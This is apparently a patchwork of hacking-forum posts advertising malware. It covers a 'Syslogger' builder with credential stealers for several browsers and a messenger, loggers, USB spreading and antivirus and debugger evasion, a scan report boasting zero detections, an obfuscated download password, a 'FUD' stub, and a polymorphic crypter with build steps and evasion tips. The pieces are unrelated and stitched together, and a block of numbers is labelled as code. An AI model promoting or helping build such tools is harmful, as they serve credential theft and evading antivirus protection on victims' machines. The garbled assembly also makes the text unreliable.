Screenshot



Antis

[x] AntiAnubis
[x] AntiBitdefender
[x] AntiKaspersky
[x] AntiMalwarebytes
[x] AntiNod32
[x] AntiNorman
[x] AntiOllydbg
[x] AntiOutpost
[x] AntiWireshark

Stealers

[x] Google Chrome (latest version)
[x] Mozilla Firefox (latest version)
[x] Opera (version 10)
[x] Windows Live Messenger (latest version)

Features

[x] Antis
[x] Mail Encryption
[x] Stealers
[x] Cookie Deletion
[x] Download Link Encryption
[x] AV Site Blocker
[x] USB Spread
[x] Startup
[x] Taskmanager Killer
[x] Clipboard Logger
[x] Steam Forcer
[x] Downloader
[x] Fake Error
[x] Melt
[x] Screen Logger


Virus scan builder

File Info

Report date: 2011-10-10.
Scan Occured:
Link to scan: http://my-avscan.com/result.php?scan=MjI2NTI3
File name: Syslogger_Builder.exe
File size: 472064 bytes
MD5 Hash: 14d6dbece5d9c74747ad7c39ad7ae6f6
SHA1 Hash: 9ade2e4561683b7e0641cf8275401d2ad4709229
Detection rate: 0 out of 35
Status: CLEAN

Detections

AVG - Clean.
Acavir - Clean.
Avast 5 -Clean.
Avast -Clean.
Avira -Clean.
BitDefender -Clean.
VirusBuster Internet Security -Clean.
Clam Antivirus -Clean.
COMODO Internet Security -Clean.
DrWeb -Clean.
eTrust-Vet -Clean.
F-PROT Antivirus -Clean.
F-Secure Internet Security -Clean.
G Data -Clean.
IKARUS Security-Clean.
Kaspersky Antivirus -Clean.
McAfee -Clean.
MS Security Essentials -Clean.
ESET NOD32 -Clean.
Norman -Clean.
Norton -Clean.
Panda Security -Clean.
A-Squared Security -Clean.
Quick Heal Antivirus -Clean.
Rising Antivirus -Clean.
Solo Antivirus -Clean.
Sophos -Clean.
Trend Micro Internet Security -Clean.
VBA32 Antivirus -Clean.
Vexira Antivirus -Clean.
Webroot Internet Security -Clean.
Zoner AntiVirus -Clean.
Ad-Aware -Clean.
AhnLab V3 Internet Security -Clean.
Bullguard -Clean.

Scan report generated by
My-AVScan.com

DOWNLOAD HERE 

Password

Code:

-95.02678571428571
-95.0625
-95.08928571428571
-95.32142857142857
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.46428571428571
-95.33035714285714
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.01785714285714
-94.92857142857143
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.08928571428571
-95.33035714285714
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.01785714285714
-95.33928571428571
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.03571428571429
-94.92857142857143
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.03571428571429
-95.33928571428571
-95.42857142857143
-95.5625
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.46428571428571
-94.94642857142857
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.08928571428571
-94.91964285714286
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.28571428571429
-95.33035714285714
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.01785714285714
-94.94642857142857
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.03571428571429
-95.58035714285714
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.01785714285714
-95.57142857142857
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.03571428571429
-95.33928571428571
-95.42857142857143
-94.92857142857143
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.08928571428571
-95.32142857142857
-95.51785714285714
-95.21428571428571
-95.375
-94.94642857142857
-95.02678571428571
-95.0625
-95.28571428571429
-95.58035714285714

Encrypted with ZONG22 --> ZARA-128 (key: uio) --> TRIPO-5 --> OKTO-3 (key: opa)

AS OF 03 April 2010 STUB IS NOW 100% FUD! I will try my best to keep it fud for as long as i can!

Scan of stub:
http://scanner.novirusthanks.org/analysis

Screenie:


Download:
clickhere

Password:
Encrypted with XoR then RC4
XoR:
Key = 6
Encryption = 5B&0?&12&D?&7B&E5&D@&11&DC&2D&1>&D@&E6&36

RC4:
Key = 44hf22

Confused?

Spoiler (Click to Hide)

First you must decrypt the XoR to get the RC4 then you must decrypt the rc4.

The XoR key is 6 and the encrypted xor is:
5B&0?&12&D?&7B&E5&D@&11&DC&2D&1>&D@&E6&36

After decrypting the XoR you will get the rc4 encryption. And the rc4 key is (44hf22)

After decrypting the rc4 you will then have the password.

Encrypted with RC4 (Key is "44hf22")
ps guymal.com can help decrypt the xor

Li0n Polymorphic Crypter V1.2
Coded by: Li0n coder

DOWNLOAD Li0nCrypter v1.2[0/35]

How to use Li0n Polymorphic Crypter !!?

1.Open the Crypter and select the files you like to Crypt
2.Binder will generate Output.dpr
3.Copy Output.dpr to compiler folder
4.Click build
5.Output.exe will be generated
6.And Enjoy Your FUD Server

Features:

• Rewritten runpe function
• Now you can control the encryption loop, if you file detected , try to crypt again or increase the number of Target file encryption loop (try not to use large number -above 20000- especially if your target file is big)
• Crypt almost any exe file.
• Fully customizable stub.
• Fix PI 2.3.2 for win 7 option.
• Uses shellcode version of RunPE.
• Write target file to stub directly.
• Every output is unique.
• Support Win OS [XP,Vista,7,8] 32bit & 64bit.
• no resource or end of file use, bye avira
• it should be FUD for ever as long as you update decryption function and add some anti-emulator code